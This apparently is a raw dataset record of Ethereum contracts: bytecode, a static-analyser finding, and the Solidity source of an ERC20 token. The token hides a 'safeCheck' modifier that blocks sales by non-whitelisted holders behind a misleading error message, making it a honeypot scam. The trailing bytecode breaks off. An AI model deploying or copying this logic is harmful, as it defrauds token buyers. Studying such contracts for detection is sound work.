160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610a1b5760009050610b06565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60055481565b6000606060048101600036905010151515610b2957fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b6557600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bb357600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610c3e57600080fd5b610c9083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edf90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6283600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edf90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3483600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b60085481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f9f57600080fd5b339050610ff482600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edf90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104c82600554611edf90919063ffffffff16565b60058190555061106782600654611edf90919063ffffffff16565b6006819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116657600080fd5b600960009054906101000a900460ff1615151561118257600080fd5b60ff82511115151561119357600080fd5b600754600854111515156111a657600080fd5b600090505b81518110156111f857600754600854111515156111c757600080fd5b6111ea82828151811015156111d857fe5b90602001906020020151600854611d38565b5080806001019150506111ab565b600554600654101515611221576001600960006101000a81548160ff0219169083151502179055505b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156112ff57600080fd5b50565b6040805190810160405280600381526020017f4c4954000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139957600080fd5b600960009054906101000a900460ff161515156113b557600080fd5b6001600960006101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146157600080fd5b600960009054906101000a900460ff1615151561147d57600080fd5b60ff83511115151561148e57600080fd5b8151835114151561149e57600080fd5b600090505b82518160ff16101561154f57600754828260ff168151811015156114c357fe5b90602001906020020151111515156114da57600080fd5b611518838260ff168151811015156114ee57fe5b90602001906020020151838360ff1681518110151561150957fe5b90602001906020020151611d38565b50600554600654101515611542576001600960006101000a81548160ff0219169083151502179055505b80806001019150506114a3565b505050565b600060406004810160003690501015151561156b57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115a757600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156115f557600080fd5b61164783600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116dc83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600960009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561184457600080fd5b5af1151561185157600080fd5b505050604051805190509050809250505092915050565b60075481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195657600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156119f357600080fd5b5af11515611a0057600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611ad057600080fd5b5af11515611add57600080fd5b5050506040518051905092505050919050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611bca5780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2b57600080fd5b600960009054906101000a900460ff16151515611c4757600080fd5b60ff835111151515611c5857600080fd5b6007548211151515611c6957600080fd5b600090505b8251811015611cb7576007548211151515611c8857600080fd5b611ca98382815181101515611c9957fe5b9060200190602002015183611d38565b508080600101915050611c6e565b600554600654101515611ce0576001600960006101000a81548160ff0219169083151502179055505b505050565b60046020528060005260406000206000915054906101000a900460ff1681565b60008082840290506000841480611d265750828482811515611d2357fe5b04145b1515611d2e57fe5b8091505092915050565b6000600960009054906101000a900460ff16151515611d5657600080fd5b611d6b82600654611ef890919063ffffffff16565b600681905550611d8682600754611edf90919063ffffffff16565b600781905550611dde82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000828211151515611eed57fe5b818303905092915050565b6000808284019050838110151515611f0c57fe5b80915050929150505600a165627a7a72305820d32f5b84fc99c4cfff53c437ef27715779701876eb0926b6db1689e57ea627ac0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
8,552
0xbd9ec62b71690a968f0dcb183bc953146928bbe3
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_NAOS(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b505